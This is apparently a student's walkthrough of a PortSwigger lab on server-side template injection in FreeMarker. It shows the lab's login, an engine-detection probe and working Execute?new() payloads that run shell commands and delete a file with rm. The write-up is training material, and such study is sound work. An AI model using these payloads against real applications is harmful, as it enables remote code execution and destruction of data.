PortSwigger

Lab Description
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
Credentials: content-manager:C0nt3ntM4n4g3r
Step 1: Log In
- Log in with credentials:
- Username:
content-manager - Password:
C0nt3ntM4n4g3r
- Username:
Step 2: Find the Template Injection Point
- Navigate to a product page
- Look for the option to edit the product description template
- This is where template injection occurs
Step 3: Identify the Template Engine
Test with mathematical expression:
${7*7}
Result: 49 is displayed.

Template engine supports ${} syntax.
Step 4: Study Freemarker Documentation
Key findings from documentation:
new()built-in: Can create arbitrary Java objects that implementTemplateModelExecuteclass: Located infreemarker.template.utility.Execute- Security concern:
new()is dangerous because it can createExecuteobjects
We can use HackTricks website

Step 5: Construct the Exploit
Direct payload (from the solution):
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
What this does:
"freemarker.template.utility.Execute"?new()⇒ Creates anExecuteobject("rm /home/carlos/morale.txt")⇒ Executes the shell command
Alternative payload (using assign):
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("rm /home/carlos/morale.txt") }

Step 6: Test the Exploit
Test id command:
${"freemarker.template.utility.Execute"?new()("id")}
Result:

Test pwd command:
${"freemarker.template.utility.Execute"?new()("pwd")}
Result:

Test ls command:
${"freemarker.template.utility.Execute"?new()("ls")}
Result:

Step 7: Delete the File
Payload:
${"freemarker.template.utility.Execute"?new()("rm morale.txt")}
Note: Since pwd shows /home/carlos, the relative path morale.txt works.
Step 8: Lab Solved
